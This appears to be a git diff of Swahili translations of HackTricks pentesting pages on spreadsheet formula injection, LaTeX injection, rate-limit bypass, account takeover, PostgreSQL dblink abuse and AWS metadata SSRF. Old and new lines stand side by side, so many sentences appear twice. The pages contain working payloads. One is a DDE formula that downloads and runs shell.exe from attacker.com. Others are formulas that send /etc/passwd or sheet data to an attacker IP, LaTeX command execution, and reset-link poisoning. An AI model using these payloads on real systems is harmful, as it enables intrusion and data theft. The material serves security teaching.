- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumika mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("<malicious_link>","Click here")`).
- Fomula hii imeundwa kuunda kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji.
2. **Kusafirisha Data Zilizovunjwa:**
- Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data katika faili ya CSV.
- Faili ya CSV, inapofunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa katika karatasi ya kazi.
- Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data hiyo kwenye faili la CSV.
- Faili la CSV, linapofunguliwa, bado lina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa katika karatasi ya kazi.
3. **Kuchochea Shambulio:**
- Mwalimu anabonyeza kiungo, akiamini ni sehemu halali ya maelezo ya mwanafunzi.
- Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwa karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
- Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
4. **Kurekodi Data:**
- Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwa kompyuta ya mwalimu.
- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, akiongeza kuathiri faragha na usalama wa wanafunzi na taasisi.
- Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, na kuathiri zaidi faragha na usalama wa wanafunzi na taasisi.
### RCE
**Angalia** [**post ya asili**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kwa kutekeleza amri zisizo na mpangilio. Ili kutumia hili, mipangilio ifuatayo inapaswa kuwezeshwa:
Katika mipangilio maalum au toleo la zamani la Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumika kwa kutekeleza amri zisizo na mpangilio. Ili kutumia hili, mipangilio ifuatayo inapaswa kuwezeshwa:
- Nenda kwa File → Options → Trust Center → Trust Center Settings → External Content, na wezesha **Dynamic Data Exchange Server Launch**.
- Nenda kwa File → Options → Trust Center → Trust Center Settings → External Content, na uwezeshe **Dynamic Data Exchange Server Launch**.
Wakati karatasi ya kazi yenye mzigo mbaya inafunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kalkuleta, mzigo ungekuwa:
```markdown
@ -57,24 +57,24 @@ Amri za ziada zinaweza pia kutekelezwa, kama vile kupakua na kutekeleza faili kw
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) katika LibreOffice Calc
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc inaweza kutumika kusoma faili za ndani na kutoa data. Hapa kuna baadhi ya mbinu:
- Kusoma mstari wa kwanza kutoka kwa faili ya ndani `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Kutolewa kwa data iliyosomwa kwa seva inayodhibitiwa na mshambuliaji: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Kutolewa kwa mistari zaidi ya mmoja: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- Kutolewa kwa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
- Kusoma mstari wa kwanza kutoka faili ya ndani `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Kutuma data iliyosomwa kwa seva inayodhibitiwa na mshambuliaji: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Kutuma zaidi ya mstari mmoja: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- Uhamasishaji wa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets kwa Kutolewa kwa Data ya Nje ya Muktadha (OOB)
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets inatoa kazi ambazo zinaweza kutumika kwa kutolewa kwa data ya OOB:
Google Sheets inatoa kazi ambazo zinaweza kutumika kwa uhamasishaji wa data OOB:
- **CONCATENATE**: Inachanganya nyuzi pamoja - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Inaleta data kutoka kwa aina za data zilizopangwa - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTXML**: Inaleta data kutoka aina za data zilizopangwa - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Inaleta RSS au ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Inaleta data kutoka kwa meza za HTML au orodha - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Inaleta anuwai ya seli kutoka kwa karatasi nyingine - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMPORTHTML**: Inaleta data kutoka kwenye meza za HTML au orodha - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Inaleta anuwai ya seli kutoka kwenye karatasi nyingine - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Inatia picha kwenye seli - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
@ -83,14 +83,14 @@ Kawaida seva ambazo zitakutana mtandaoni ambazo **hubadilisha msimbo wa LaTeX ku
Programu hii inatumia sifa 3 kuu ili (kuzuia) kuruhusu utekelezaji wa amri:
- **`--no-shell-escape`**: **Zuia** muundo wa `\write18{command}`, hata kama umewezeshwa katika faili ya texmf.cnf.
- **`--shell-restricted`**: Sawasawa na `--shell-escape`, lakini **imepunguzika** kwa seti 'salama' ya **amri zilizopangwa** \*\* (Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-restricted`**: Kama `--shell-escape`, lakini **imepunguzia** seti 'salama' ya **amri zilizowekwa awali** (**Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Ruhusu** muundo wa `\write18{command}`. Amri inaweza kuwa amri yoyote ya shell. Muundo huu kawaida haukubaliwi kwa sababu za usalama.
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`.
### Soma faili <a href="#read-file" id="read-file"></a>
### Read file <a href="#read-file" id="read-file"></a>
Unaweza kuhitaji kurekebisha sindano na vifungashio kama \[ au $.
Unaweza kuhitaji kurekebisha uhamasishaji na vifungashio kama \[ au $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
@ -148,7 +148,7 @@ Ingizo la amri litapelekwa kwa stdin, tumia faili ya muda ili kulipata.
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila wahusika wabaya.
Ikiwa utapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila wahusika wabaya.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}

View File

@ -6,15 +6,15 @@
### Exploring Similar Endpoints
Jaribio zinapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` n.k.
Jaribio zinapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` nk.
### Incorporating Blank Characters in Code or Parameters
Kuingiza bytes za tupu kama `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` katika msimbo au vigezo kunaweza kuwa mkakati mzuri. Kwa mfano, kubadilisha parameter kuwa `code=1234%0a` kunaruhusu kupanua majaribio kupitia tofauti katika ingizo, kama kuongeza wahusika wapya kwenye anwani ya barua pepe ili kuzunguka mipaka ya majaribio.
Kuingiza bytes za tupu kama `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` katika msimbo au vigezo inaweza kuwa mkakati mzuri. Kwa mfano, kubadilisha parameter kuwa `code=1234%0a` kunaruhusu kupanua majaribio kupitia tofauti katika ingizo, kama kuongeza wahusika wapya kwenye anwani ya barua pepe ili kuzunguka mipaka ya majaribio.
### Manipulating IP Origin via Headers
Kubadilisha vichwa vya habari ili kubadilisha IP inayodhaniwa inaweza kusaidia kuepuka mipaka ya kiwango kulingana na IP. Vichwa vya habari kama `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, ikiwa ni pamoja na kutumia matukio mengi ya `X-Forwarded-For`, yanaweza kubadilishwa ili kuiga maombi kutoka IP tofauti.
Kubadilisha vichwa vya habari ili kubadilisha IP inayotambulika inaweza kusaidia kuepuka mipaka ya kiwango inayotegemea IP. Vichwa vya habari kama `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, ikiwa ni pamoja na kutumia matukio mengi ya `X-Forwarded-For`, yanaweza kubadilishwa ili kuiga maombi kutoka IP tofauti.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -34,15 +34,15 @@ Kubadilisha vichwa vingine vya ombi kama vile user-agent na cookies kunashauriwa
### Kutumia Tabia ya API Gateway
Baadhi ya API gateways zimewekwa ili kutekeleza ukomo wa kiwango kulingana na mchanganyiko wa mwisho wa huduma na vigezo. Kwa kubadilisha thamani za vigezo au kuongeza vigezo visivyo na maana kwenye ombi, inawezekana kupita mantiki ya ukomo wa kiwango ya gateway, na kufanya kila ombi kuonekana kuwa la kipekee. Kwa mfano `/resetpwd?someparam=1`.
Baadhi ya API gateways zimewekwa ili kutekeleza mipaka ya kiwango kulingana na mchanganyiko wa mwisho wa huduma na vigezo. Kwa kubadilisha thamani za vigezo au kuongeza vigezo visivyo na maana kwenye ombi, inawezekana kupita mantiki ya mipaka ya kiwango ya gateway, na kufanya kila ombi kuonekana kuwa la kipekee. Kwa mfano `/resetpwd?someparam=1`.
### Kuingia Kwenye Akaunti Yako Kabla ya Kila Jaribio
Kuingia kwenye akaunti kabla ya kila jaribio, au kila seti ya majaribio, kunaweza kurekebisha hesabu ya ukomo wa kiwango. Hii ni muhimu hasa wakati wa kujaribu kazi za kuingia. Kutumia shambulio la Pitchfork katika zana kama Burp Suite, kubadilisha akidi kila majaribio kadhaa na kuhakikisha kwamba uelekeo wa kurudi umewekwa alama, kunaweza kuanzisha tena hesabu za ukomo wa kiwango kwa ufanisi.
Kuingia kwenye akaunti kabla ya kila jaribio, au kila seti ya majaribio, kunaweza kurekebisha hesabu ya mipaka ya kiwango. Hii ni muhimu hasa wakati wa kujaribu kazi za kuingia. Kutumia shambulio la Pitchfork katika zana kama Burp Suite, kubadilisha akidi kila majaribio machache na kuhakikisha kwamba uelekeo wa kufuatilia umewekwa, kunaweza kuanzisha tena hesabu za mipaka ya kiwango kwa ufanisi.
### Kutumia Mitandao ya Proxy
Kuweka mtandao wa proxies ili kusambaza maombi kwenye anwani nyingi za IP kunaweza kupita kwa ufanisi mipaka ya kiwango inayotegemea IP. Kwa kuelekeza trafiki kupitia proxies mbalimbali, kila ombi linaonekana kutokea kutoka chanzo tofauti, likipunguza ufanisi wa ukomo wa kiwango.
Kuweka mtandao wa proxies ili kusambaza maombi kwenye anwani nyingi za IP kunaweza kupita mipaka ya kiwango inayotegemea IP kwa ufanisi. Kwa kuelekeza trafiki kupitia proxies mbalimbali, kila ombi linaonekana kutokea kutoka chanzo tofauti, likipunguza ufanisi wa mipaka ya kiwango.
### Kugawanya Shambulio Kati ya Akaunti au Sesheni Tofauti
@ -50,6 +50,10 @@ Ikiwa mfumo wa lengo unatekeleza mipaka ya kiwango kwa msingi wa akaunti au sesh
### Endelea Kujaribu
Kumbuka kwamba hata kama ukomo wa kiwango upo unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama ukomo wa kiwango unachochewa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa moja halali ilitumwa jibu la 200 lilipokelewa.
Kumbuka kwamba hata kama mipaka ya kiwango ipo unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama mipaka ya kiwango ilipangwa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa halali ilitumwa jibu la 200 lilipokelewa.
### Zana
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz ni zana ya fuzzing iliyoundwa ili kujaribu na kupita WAFs na CDNs. Kwa kutumia vipengele vya hali ya juu kama vile User-Agent wa nasibu na thamani ya kichwa, ucheleweshaji wa nasibu, kushughulikia uhamasishaji wa nyuzi nyingi, kuchagua sehemu za orodha za maneno na mzunguko wa proxy wa Round Robin kwa kila sehemu, inatoa suluhisho thabiti kwa wataalamu wa usalama wanaolenga kubaini udhaifu katika programu za wavuti.
{{#include ../banners/hacktricks-training.md}}

View File

@ -18,24 +18,24 @@
### Uainishaji wa Jina la Mtumiaji
Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limesajiliwa ndani ya programu.
Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limeregisteriwa ndani ya programu.
### Sera ya Nywila
Unapounda mtumiaji angalia sera ya nywila (angalia kama unaweza kutumia nywila dhaifu).\
Katika hali hiyo unaweza kujaribu kubruteforce akauti.
Katika hali hiyo unaweza kujaribu kubruteforce akidi.
### SQL Injection
[**Angalia ukurasa huu** ](sql-injection/index.html#insert-statement)kujifunza jinsi ya kujaribu ukatili wa akaunti au kutoa taarifa kupitia **SQL Injections** katika fomu za usajili.
### Oauth Ukatili
### Oauth Takeovers
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### Ukatili wa SAML
### Uhalifu wa SAML
{{#ref}}
saml-attacks/
@ -43,7 +43,7 @@ saml-attacks/
### Badilisha Barua Pepe
Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa kwa usahihi au unaweza kuyabadilisha kuwa barua pepe zisizo na mpangilio.
Unapokuwa umesajiliwa jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa ipasavyo au unaweza kuyabadilisha kuwa barua pepe zisizo za kawaida.
### Ukaguzi Zaidi
@ -52,27 +52,27 @@ Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya
- **Angalia mipaka ya viwango kwenye uundaji wa akaunti**
- Tumia username@**burp_collab**.net na uchambue **callback**
## **Ukatili wa Kurekebisha Nywila**
## **Ukatili wa Kurejesha Nywila**
### Kuvuja kwa Tokeni ya Kurekebisha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Kuvuja kwa Tokeni ya Kurejesha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Omba kurekebisha nywila kwa anwani yako ya barua pepe
2. Bonyeza kwenye kiungo cha kurekebisha nywila
1. Omba kurejesha nywila kwa anwani yako ya barua pepe
2. Bonyeza kwenye kiungo cha kurejesha nywila
3. Usibadilishe nywila
4. Bonyeza tovuti zozote za 3rd party (mfano: Facebook, twitter)
5. Intercept ombi katika Burp Suite proxy
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurekebisha nywila.
4. Bonyeza tovuti zozote za upande wa tatu (mfano: Facebook, twitter)
5. Kamatia ombi katika Burp Suite proxy
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurejesha nywila.
### Ukatili wa Kurekebisha Nywila kwa Kutoa Mchafuko <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Ukatili wa Kurejesha Nywila kwa Kutoa Taka <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept ombi la kurekebisha nywila katika Burp Suite
1. Kamatia ombi la kurejesha nywila katika Burp Suite
2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Tuma ombi na kichwa kilichobadilishwa\
3. Peleka ombi na kichwa kilichobadilishwa\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Tafuta URL ya kurekebisha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN`
4. Tafuta URL ya kurejesha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN`
### Kurekebisha Nywila Kupitia Kigezo cha Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
### Kurejesha Nywila Kupitia Paramenta ya Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -91,14 +91,14 @@ email=victim@mail.com|hacker@mail.com
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Mshambuliaji lazima aingie kwenye akaunti yao na aende kwenye kipengele cha **Badilisha nenosiri**.
2. Anza Burp Suite na uingilie ombi hilo.
2. Anza Burp Suite na uingilie ombi
3. Tuma kwenye tab ya repeater na uhariri vigezo: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Token ya kubadilisha nenosiri inapaswa kuundwa kwa bahati nasibu na kuwa ya kipekee kila wakati.\
Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, katika baadhi ya matukio algorithm ya uzalishaji ni dhaifu na inaweza kukisiwa. Vigezo vifuatavyo vinaweza kutumika na algorithm.
Token ya kubadilisha nenosiri inapaswa kuundwa kwa nasibu na kuwa ya kipekee kila wakati.\
Jaribu kubaini kama token inakoma au ikiwa kila wakati ni ile ile, katika baadhi ya matukio algorithimu ya uzalishaji ni dhaifu na inaweza kukisiwa. Vigezo vifuatavyo vinaweza kutumika na algorithimu.
- Timestamp
- UserID
@ -107,7 +107,7 @@ Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, kati
- Tarehe ya Kuzaliwa
- Cryptography
- Nambari pekee
- Mfululizo mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
- Mfuatano mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
- Tumia tena token
- Tarehe ya kumalizika kwa token
@ -129,7 +129,7 @@ Tazama: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Pata XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha domain ya mzazi: `*.domain.com`
1. Tafuta XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha mzazi: `*.domain.com`
2. Leak **vidakuzi vya sasa vya sessions**
3. Thibitisha kama mtumiaji kwa kutumia cookie
@ -138,7 +138,7 @@ Tazama: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
1\. Tumia **smuggler** kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Tengeneza ombi ambalo litabadilisha `POST / HTTP/1.1` na data ifuatayo:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua upya wa mwathirika kwenda burpcollab na kuiba vidakuzi vyao\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua redirect wa wahanga kwenda burpcollab na kuiba vidakuzi vyao\
3\. Ombi la mwisho linaweza kuonekana kama ifuatavyo
```
GET / HTTP/1.1
@ -155,23 +155,23 @@ Hackerone inaripoti kutumia hitilafu hii\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Kuchukua Akaunti kupitia CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Tengeneza payload kwa ajili ya CSRF, e.g: “HTML form with auto submit for a password change
1. Tengeneza payload kwa CSRF, e.g: “Fomu ya HTML yenye kuwasilisha kiotomatiki kwa mabadiliko ya nenosiri
2. Tuma payload
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Kuchukua Akaunti kupitia JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token inaweza kutumika kuthibitisha mtumiaji.
- Hariri JWT na User ID / Email nyingine
- Angalia kwa saini dhaifu ya JWT
- Hariri JWT kwa ID ya Mtumiaji / Barua pepe nyingine
- Angalia saini dhaifu ya JWT
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## References
## Marejeleo
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
**Pata** [**maelezo zaidi kuhusu mashambulizi haya katika karatasi asilia**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Tangu **PostgreSQL 9.1**, usakinishaji wa moduli za ziada ni rahisi. [Extensions zilizoorodheshwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) zinaweza kusakinishwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Tangu **PostgreSQL 9.1**, ufungaji wa moduli za ziada ni rahisi. [Marekebisho yaliyoandikishwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) yanaweza kufungwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Mara tu unapo kuwa na dblink imepakiwa unaweza kuwa na uwezo wa kufanya hila za kuvutia:
Mara tu umepakia dblink unaweza kuwa na uwezo wa kufanya hila za kuvutia:
### Kuinua Mamlaka
@ -16,17 +16,17 @@ Faili `pg_hba.conf` inaweza kuwa imewekwa vibaya **ikikubali muunganisho** kutok
```
local all all trust
```
_Nakili kwamba usanidi huu unatumika mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\
_Nakili pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._
_Kumbuka kwamba usanidi huu hutumiwa mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\
_Kumbuka pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._
Kesi hii ni **faida ikiwa** tayari una **shell** ndani ya mwathirika kwani itakuruhusu kuungana na hifadhidata ya postgresql.
Usanidi mwingine unaowezekana wa makosa unajumuisha kitu kama hiki:
Makosa mengine yanayoweza kutokea ni kama ifuatavyo:
```
host all all 127.0.0.1/32 trust
```
Kwa kuwa itaruhusu kila mtu kutoka kwa localhost kuungana na database kama mtumiaji yeyote.\
Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya kazi, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haupaswi kuwa na uwezo wa kufikia:
Kwa sababu itaruhusu kila mtu kutoka kwenye localhost kuungana na database kama mtumiaji yeyote.\
Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya **kazi**, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haupaswi kuwa na uwezo wa kufikia:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
Kwa kutumia `dblink_connect` unaweza pia **kutafuta port zilizo wazi**. Ikiwa hiyo \*\*kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kama hati inavyosema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa kwamba itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_.
Kwa kutumia `dblink_connect` unaweza pia **kutafuta bandari zilizo wazi**. Ikiwa hiyo **kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kama hati inavyosema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -73,7 +73,7 @@ Kumbuka kwamba **kabla** ya kuwa na uwezo wa kutumia `dblink_connect` au `dblink
```
CREATE extension dblink;
```
### UNC path - NTLM hash disclosure
### UNC njia - kufichuliwa kwa NTLM hash
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();

View File

@ -6,16 +6,16 @@
### Abusing SSRF in AWS EC2 environment
**The metadata** endpoint inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Mada** ya metadata inaweza kupatikana kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu mada hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Kuna **toleo 2** za metadata endpoint. **Toleo la kwanza** linaruhusu **kufikia** endpoint kupitia **GET** requests (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **PUT** request na **HTTP header** na kisha tumia token hiyo kufikia metadata kwa HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
Kuna **toleo 2** la mada ya metadata. **Toleo la kwanza** linaruhusu **kupata** mada kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kupata metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF).
> [!CAUTION]
> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la PUT request** litakuwa na **hop limit ya 1**, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya EC2 instance.
